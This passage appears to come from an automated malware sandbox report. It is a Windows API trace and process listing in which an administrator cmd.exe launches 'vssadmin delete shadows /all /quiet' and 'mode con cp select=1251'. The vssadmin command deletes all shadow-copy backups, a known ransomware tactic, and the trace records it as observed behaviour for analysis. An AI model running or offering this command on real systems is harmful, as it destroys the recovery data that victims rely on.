dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0077.438] _get_osfhandle (_FileHandle=1) returned 0xf4 [0077.438] GetFileType (hFile=0xf4) returned 0x3 [0077.439] _get_osfhandle (_FileHandle=1) returned 0xf4 [0077.439] WideCharToMultiByte (in: CodePage=0x4e3, dwFlags=0x0, lpWideCharStr="vssadmin delete shadows /all /quiet\n", cchWideChar=-1, lpMultiByteStr=0x4a20c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="vssadmin delete shadows /all /quiet\n", lpUsedDefaultChar=0x0) returned 37 [0077.439] WriteFile (in: hFile=0xf4, lpBuffer=0x4a20c320*, nNumberOfBytesToWrite=0x24, lpNumberOfBytesWritten=0x18f878, lpOverlapped=0x0 | out: lpBuffer=0x4a20c320*, lpNumberOfBytesWritten=0x18f878*=0x24, lpOverlapped=0x0) returned 1 [0077.439] GetProcessHeap () returned 0x290000 [0077.439] RtlAllocateHeap (HeapHandle=0x290000, Flags=0x8, Size=0x4012) returned 0x2af630 [0077.440] GetProcessHeap () returned 0x290000 [0077.440] HeapFree (in: hHeap=0x290000, dwFlags=0x0, lpMem=0x2af630 | out: hHeap=0x290000) returned 1 [0077.440] GetProcessHeap () returned 0x290000 [0077.440] RtlAllocateHeap (HeapHandle=0x290000, Flags=0x8, Size=0xb0) returned 0x2a97e0 [0077.440] GetProcessHeap () returned 0x290000 [0077.440] RtlAllocateHeap (HeapHandle=0x290000, Flags=0x8, Size=0x22) returned 0x2a4610 [0077.442] GetProcessHeap () returned 0x290000 [0077.442] RtlAllocateHeap (HeapHandle=0x290000, Flags=0x8, Size=0x48) returned 0x2aaa90 [0077.442] GetConsoleOutputCP () returned 0x4e3 [0077.443] GetCPInfo (in: CodePage=0x4e3, lpCPInfo=0x4a20bfe0 | out: lpCPInfo=0x4a20bfe0) returned 1 [0077.443] SetThreadUILanguage (LangId=0x0) returned 0x7fffffd0409 [0077.443] GetConsoleTitleW (in: lpConsoleTitle=0x18f830, nSize=0x104 | out: lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe") returned 0x2a [0077.443] GetProcessHeap () returned 0x290000 [0077.443] RtlAllocateHeap (HeapHandle=0x290000, Flags=0x8, Size=0x218) returned 0x2a9910 [0077.443] GetProcessHeap () returned 0x290000 [0077.443] RtlAllocateHeap (HeapHandle=0x290000, Flags=0x8, Size=0x5a) returned 0x2a9b30 [0077.444] GetProcessHeap () returned 0x290000 [0077.444] RtlAllocateHeap (HeapHandle=0x290000, Flags=0x8, Size=0x420) returned 0x2a9090 [0077.444] SetErrorMode (uMode=0x0) returned 0x0 [0077.457] SetErrorMode (uMode=0x1) returned 0x0 [0077.457] GetFullPathNameW (in: lpFileName=".", nBufferLength=0x208, lpBuffer=0x2a90a0, lpFilePart=0x18f0c0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFilePart=0x18f0c0*="Desktop") returned 0x25 [0077.457] SetErrorMode (uMode=0x0) returned 0x1 [0077.457] GetProcessHeap () returned 0x290000 [0077.457] RtlReAllocateHeap (Heap=0x290000, Flags=0x0, Ptr=0x2a9090, Size=0x6e) returned 0x2a9090 [0077.457] GetProcessHeap () returned 0x290000 [0077.457] RtlSizeHeap (HeapHandle=0x290000, Flags=0x0, MemoryPointer=0x2a9090) returned 0x6e [0077.457] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x4a1ff360, nSize=0x2000 | out: lpBuffer="C:\\Windows\\system32;C:\\Windows;C:\\Windows\\System32\\Wbem;C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\") returned 0x63 [0077.457] NeedCurrentDirectoryForExePathW (ExeName=".") returned 1 [0077.457] GetProcessHeap () returned 0x290000 [0077.457] RtlAllocateHeap (HeapHandle=0x290000, Flags=0x8, Size=0x128) returned 0x2a5b70 [0077.457] GetProcessHeap () returned 0x290000 [0077.457] RtlAllocateHeap (HeapHandle=0x290000, Flags=0x8, Size=0x240) returned 0x291ab0 [0077.457] GetProcessHeap () returned 0x290000 [0077.457] RtlReAllocateHeap (Heap=0x290000, Flags=0x0, Ptr=0x291ab0, Size=0x12a) returned 0x291ab0 [0077.457] GetProcessHeap () returned 0x290000 [0077.458] RtlSizeHeap (HeapHandle=0x290000, Flags=0x0, MemoryPointer=0x291ab0) returned 0x12a [0077.458] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x4a1ff360, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35 [0077.458] GetProcessHeap () returned 0x290000 [0077.458] RtlAllocateHeap (HeapHandle=0x290000, Flags=0x8, Size=0xe8) returned 0x2a9db0 [0077.458] GetProcessHeap () returned 0x290000 [0077.458] RtlReAllocateHeap (Heap=0x290000, Flags=0x0, Ptr=0x2a9db0, Size=0x7e) returned 0x2a9db0 [0077.458] GetProcessHeap () returned 0x290000 [0077.458] RtlSizeHeap (HeapHandle=0x290000, Flags=0x0, MemoryPointer=0x2a9db0) returned 0x7e [0077.458] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0077.458] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\vssadmin.*", fInfoLevelId=0x1, lpFindFileData=0x18ee30, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18ee30) returned 0xffffffffffffffff [0077.458] GetLastError () returned 0x2 [0077.459] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\vssadmin", fInfoLevelId=0x1, lpFindFileData=0x18ee30, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18ee30) returned 0xffffffffffffffff [0077.459] GetLastError () returned 0x2 [0077.459] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0077.459] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\vssadmin.*", fInfoLevelId=0x1, lpFindFileData=0x18ee30, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18ee30) returned 0x2a9ba0 [0077.459] FindClose (in: hFindFile=0x2a9ba0 | out: hFindFile=0x2a9ba0) returned 1 [0077.459] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\vssadmin.COM", fInfoLevelId=0x1, lpFindFileData=0x18ee30, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18ee30) returned 0xffffffffffffffff [0077.460] GetLastError () returned 0x2 [0077.460] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\vssadmin.EXE", fInfoLevelId=0x1, lpFindFileData=0x18ee30, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18ee30) returned 0x2a9ba0 [0077.460] FindClose (in: hFindFile=0x2a9ba0 | out: hFindFile=0x2a9ba0) returned 1 [0077.460] _wcsicmp (_String1=".EXE", _String2=".BAT") returned 3 [0077.460] _wcsicmp (_String1=".EXE", _String2=".CMD") returned 2 [0077.460] GetConsoleTitleW (in: lpConsoleTitle=0x18f380, nSize=0x104 | out: lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe") returned 0x2a [0077.493] GetProcessHeap () returned 0x290000 [0077.493] RtlAllocateHeap (HeapHandle=0x290000, Flags=0x8, Size=0x21c) returned 0x2a9110 [0077.493] GetConsoleTitleW (in: lpConsoleTitle=0x2a9120, nSize=0x104 | out: lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe") returned 0x2a [0077.495] GetProcessHeap () returned 0x290000 [0077.495] RtlReAllocateHeap (Heap=0x290000, Flags=0x0, Ptr=0x2a9110, Size=0xc0) returned 0x2a9110 [0077.495] GetProcessHeap () returned 0x290000 [0077.495] RtlSizeHeap (HeapHandle=0x290000, Flags=0x0, MemoryPointer=0x2a9110) returned 0xc0 [0077.495] SetConsoleTitleW (lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe - vssadmin delete shadows /all /quiet") returned 1 [0077.496] GetProcessHeap () returned 0x290000 [0077.496] HeapFree (in: hHeap=0x290000, dwFlags=0x0, lpMem=0x2a9110 | out: hHeap=0x290000) returned 1 [0077.496] InitializeProcThreadAttributeList (in: lpAttributeList=0x18f138, dwAttributeCount=0x1, dwFlags=0x0, lpSize=0x18f0f8 | out: lpAttributeList=0x18f138, lpSize=0x18f0f8) returned 1 [0077.496] UpdateProcThreadAttribute (in: lpAttributeList=0x18f138, dwFlags=0x0, Attribute=0x60001, lpValue=0x18f0e8, cbSize=0x4, lpPreviousValue=0x0, lpReturnSize=0x0 | out: lpAttributeList=0x18f138, lpPreviousValue=0x0) returned 1 [0077.496] GetStartupInfoW (in: lpStartupInfo=0x18f250 | out: lpStartupInfo=0x18f250*(cb=0x68, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="C:\\Windows\\system32\\cmd.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x101, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0xe8, hStdOutput=0xf4, hStdError=0xf4)) [0077.496] GetProcessHeap () returned 0x290000 [0077.496] RtlAllocateHeap (HeapHandle=0x290000, Flags=0x8, Size=0x20) returned 0x2a4640 [0077.496] _wcsnicmp (_String1="COPYCMD", _String2="=C:=C:\\", _MaxCount=0x7) returned 38 [0077.497] _wcsnicmp (_String1="COPYCMD", _String2="=ExitCo", _MaxCount=0x7) returned 38 [0077.497] _wcsnicmp (_String1="COPYCMD", _String2="ALLUSER", _MaxCount=0x7) returned 2 [0077.497] _wcsnicmp (_String1="COPYCMD", _String2="APPDATA", _MaxCount=0x7) returned 2 [0077.497] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3 [0077.497] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3 [0077.497] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3 [0077.497] _wcsnicmp (_String1="COPYCMD", _String2="COMPUTE", _MaxCount=0x7) returned 3 [0077.497] _wcsnicmp (_String1="COPYCMD", _String2="ComSpec", _MaxCount=0x7) returned 3 [0077.497] _wcsnicmp (_String1="COPYCMD", _String2="FP_NO_H", _MaxCount=0x7) returned -3 [0077.497] _wcsnicmp (_String1="COPYCMD", _String2="HOMEDRI", _MaxCount=0x7) returned -5 [0077.497] _wcsnicmp (_String1="COPYCMD", _String2="HOMEPAT", _MaxCount=0x7) returned -5 [0077.497] _wcsnicmp (_String1="COPYCMD", _String2="LOCALAP", _MaxCount=0x7) returned -9 [0077.497] _wcsnicmp (_String1="COPYCMD", _String2="LOGONSE", _MaxCount=0x7) returned -9 [0077.497] _wcsnicmp (_String1="COPYCMD", _String2="NUMBER_", _MaxCount=0x7) returned -11 [0077.497] _wcsnicmp (_String1="COPYCMD", _String2="OS=Wind", _MaxCount=0x7) returned -12 [0077.498] _wcsnicmp (_String1="COPYCMD", _String2="Path=C:", _MaxCount=0x7) returned -13 [0077.498] _wcsnicmp (_String1="COPYCMD", _String2="PATHEXT", _MaxCount=0x7) returned -13 [0077.498] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0077.498] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0077.498] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0077.498] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0077.498] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0077.498] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0077.498] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0077.498] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0077.498] _wcsnicmp (_String1="COPYCMD", _String2="PROMPT=", _MaxCount=0x7) returned -13 [0077.498] _wcsnicmp (_String1="COPYCMD", _String2="PSModul", _MaxCount=0x7) returned -13 [0077.498] _wcsnicmp (_String1="COPYCMD", _String2="PUBLIC=", _MaxCount=0x7) returned -13 [0077.499] _wcsnicmp (_String1="COPYCMD", _String2="SystemD", _MaxCount=0x7) returned -16 [0077.499] _wcsnicmp (_String1="COPYCMD", _String2="SystemR", _MaxCount=0x7) returned -16 [0077.499] _wcsnicmp (_String1="COPYCMD", _String2="TEMP=C:", _MaxCount=0x7) returned -17 [0077.499] _wcsnicmp (_String1="COPYCMD", _String2="TMP=C:\\", _MaxCount=0x7) returned -17 [0077.499] _wcsnicmp (_String1="COPYCMD", _String2="USERDOM", _MaxCount=0x7) returned -18 [0077.499] _wcsnicmp (_String1="COPYCMD", _String2="USERNAM", _MaxCount=0x7) returned -18 [0077.499] _wcsnicmp (_String1="COPYCMD", _String2="USERPRO", _MaxCount=0x7) returned -18 [0077.499] _wcsnicmp (_String1="COPYCMD", _String2="windir=", _MaxCount=0x7) returned -20 [0077.499] _wcsnicmp (_String1="COPYCMD", _String2="windows", _MaxCount=0x7) returned -20 [0077.499] _wcsnicmp (_String1="COPYCMD", _String2="windows", _MaxCount=0x7) returned -20 [0077.499] GetProcessHeap () returned 0x290000 [0077.500] HeapFree (in: hHeap=0x290000, dwFlags=0x0, lpMem=0x2a4640 | out: hHeap=0x290000) returned 1 [0077.500] GetProcessHeap () returned 0x290000 [0077.500] RtlAllocateHeap (HeapHandle=0x290000, Flags=0x8, Size=0x12) returned 0x2a8900 [0077.500] CreateProcessW (in: lpApplicationName="C:\\Windows\\system32\\vssadmin.exe", lpCommandLine="vssadmin delete shadows /all /quiet", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=1, dwCreationFlags=0x80000, lpEnvironment=0x0, lpCurrentDirectory="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpStartupInfo=0x18f170*(cb=0x70, lpReserved=0x0, lpDesktop="WinSta0\\Default", lpTitle="vssadmin delete shadows /all /quiet", dwX=0x0, dwY=0x1, dwXSize=0x64, dwYSize=0x64, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x18f120 | out: lpCommandLine="vssadmin delete shadows /all /quiet", lpProcessInformation=0x18f120*(hProcess=0x50, hThread=0x54, dwProcessId=0x408, dwThreadId=0x7e0)) returned 1 [0078.635] CloseHandle (hObject=0x54) returned 1 [0078.635] SetEnvironmentVariableW (lpName="COPYCMD", lpValue=0x0) returned 1 [0078.635] GetProcessHeap () returned 0x290000 [0078.635] HeapFree (in: hHeap=0x290000, dwFlags=0x0, lpMem=0x2aeb10 | out: hHeap=0x290000) returned 1 [0078.636] GetEnvironmentStringsW () returned 0x2aeb10* [0078.636] GetProcessHeap () returned 0x290000 [0078.636] RtlAllocateHeap (HeapHandle=0x290000, Flags=0x8, Size=0xb0e) returned 0x2af630 [0078.636] FreeEnvironmentStringsW (penv=0x2aeb10) returned 1 [0078.636] NtQueryInformationProcess (in: ProcessHandle=0x50, ProcessInformationClass=0x0, ProcessInformation=0x18ea28, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x18ea28, ReturnLength=0x0) returned 0x0 [0078.636] ReadProcessMemory (in: hProcess=0x50, lpBaseAddress=0x7fffffd5000, lpBuffer=0x18ea60, nSize=0x380, lpNumberOfBytesRead=0x18ea20 | out: lpBuffer=0x18ea60*, lpNumberOfBytesRead=0x18ea20*=0x380) returned 1 [0078.636] WaitForSingleObject (hHandle=0x50, dwMilliseconds=0xffffffff) Process: id = "3" image_name = "mode.com" filename = "c:\\windows\\system32\\mode.com" page_root = "0x418ff000" os_pid = "0x694" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "2" os_parent_pid = "0xc0" cmd_line = "mode con cp select=1251" cur_dir = "C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" bitness = "32" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000eb41" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 19 os_tid = 0x754 Process: id = "4" image_name = "vssadmin.exe" filename = "c:\\windows\\system32\\vssadmin.exe" page_root = "0x3e326000" os_pid = "0x408" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "2" os_parent_pid = "0xc0" cmd_line = "vssadmin delete shadows /all /quiet" cur_dir = "C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" bitness = "32" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000eb41" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 21 os_tid = 0x7e0 Thread: id = 22 os_tid = 0x7ec Thread: id = 23 os_tid = 0x700 Thread: id = 24 os_tid = 0x604 Thread: id = 25 os_tid = 0x31c Process: id = "5" image_name = "vssvc.exe" filename = "c:\\windows\\system32\\vssvc.exe" page_root = "0x3be2b000" os_pid = "0x804" os_integrity_level = "0x4000" os_privileges = "0xe60b7e890" monitor_reason = "rpc_server" parent_id = "4" os_parent_pid = "0x1d8" cmd_line = "C:\\Windows\\system32\\vssvc.exe" cur_dir = "C:\\Windows\\system32\\" os_username = "NT AUTHORITY\\SYSTEM" bitness = "32" os_groups = "Everyone" [0x7], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\SERVICE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT SERVICE\\VSS" [0xe], "NT AUTHORITY\\Logon Session 00000000:00058fb7" [0xc000000f], "LOCAL" [0x7], "BUILTIN\\Administrators" [0xe] Thread: id = 26 os_tid = 0x944 Thread: id = 27 os_tid = 0x934 Thread: id = 28 os_tid = 0x924 [0092.032] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0xe4d840 | out: lpSystemTimeAsFileTime=0xe4d840*(dwLowDateTime=0xe1c77c40, dwHighDateTime=0x1d66f20)) [0092.032] GetCurrentProcessId () returned 0x804 [0092.032] GetCurrentThreadId () returned 0x924 [0092.032] GetTickCount () returned 0x114958c [0092.032] QueryPerformanceCounter (in: lpPerformanceCount=0xe4d848 | out: lpPerformanceCount=0xe4d848*=21160062388) returned 1 [0092.032] malloc (_Size=0x100) returned 0x198e80 Thread: id = 29 os_tid = 0x914 Thread: id = 30 os_tid = 0x904 Thread: id = 31 os_tid = 0x814 Thread: id = 32 os_tid = 0x954 Thread: id = 47 os_tid = 0x9c4 Thread: id = 54 os_tid = 0x308 Process: id = "6" image_name = "svchost.exe" filename = "c:\\windows\\system32\\svchost.exe" page_root = "0x972d000" os_pid = "0xc8" os_integrity_level = "0x4000" os_privileges = "0x60800000" monitor_reason = "rpc_server" parent_id = "5" os_parent_pid = "0x1d8" cmd_line = "C:\\Windows\\system32\\svchost.exe -k LocalService" cur_dir = "C:\\Windows\\system32\\" os_username = "NT AUTHORITY\\Local Service" bitness = "32" os_groups = "Everyone" [0x7], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\SERVICE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT SERVICE\\EventSystem" [0xe], "NT SERVICE\\fdPHost" [0xa], "NT SERVICE\\lltdsvc" [0xa], "NT SERVICE\\netprofm" [0xa], "NT SERVICE\\nsi" [0xa], "NT SERVICE\\sppuinotify" [0xa], "NT SERVICE\\SstpSvc" [0xa], "NT SERVICE\\THREADORDER" [0xa], "NT SERVICE\\W32Time" [0xa], "NT SERVICE\\WdiServiceHost" [0xa], "NT SERVICE\\WebClient" [0xa], "NT SERVICE\\WinHttpAutoProxySvc" [0xa], "NT AUTHORITY\\Logon Session 00000000:0000dde1" [0xc000000f], "LOCAL" [0x7] Thread: id = 33 os_tid = 0x348 Thread: id = 34 os_tid = 0x434 Thread: id = 35 os_tid = 0x768 Thread: id = 36 os_tid = 0x764 Thread: id = 37 os_tid = 0x758 Thread: id = 38 os_tid = 0x724 Thread: id = 39 os_tid = 0x718 Thread: id = 40 os_tid = 0x714 Thread: id = 41 os_tid = 0x630 Thread: id = 42 os_tid = 0x154 Thread: id = 43 os_tid = 0x150 Thread: id = 44 os_tid = 0x120 Thread: id = 45 os_tid = 0x118 Thread: id = 46 os_tid = 0xf0 Process: id = "7" image_name = "svchost.exe" filename = "c:\\windows\\system32\\svchost.exe" page_root = "0x37d30000" os_pid = "0x964" os_integrity_level = "0x4000" os_privileges = "0x60814080" monitor_reason = "rpc_server" parent_id = "5" os_parent_pid = "0x1d8" cmd_line = "C:\\Windows\\System32\\svchost.exe -k swprv" cur_dir = "C:\\Windows\\system32\\" os_username = "NT AUTHORITY\\SYSTEM" bitness = "32" os_groups = "Everyone" [0x7], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\SERVICE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT SERVICE\\swprv" [0xe], "NT AUTHORITY\\Logon Session 00000000:00059b60" [0xc000000f], "LOCAL" [0x7], "BUILTIN\\Administrators" [0xe] Thread: id = 48 os_tid = 0x9d4 Thread: id = 49 os_tid = 0x9b4 Thread: id = 50 os_tid = 0x9a4 Thread: id = 51 os_tid = 0x994 Thread: id = 52 os_tid = 0x984 Thread: id = 53 os_tid = 0x974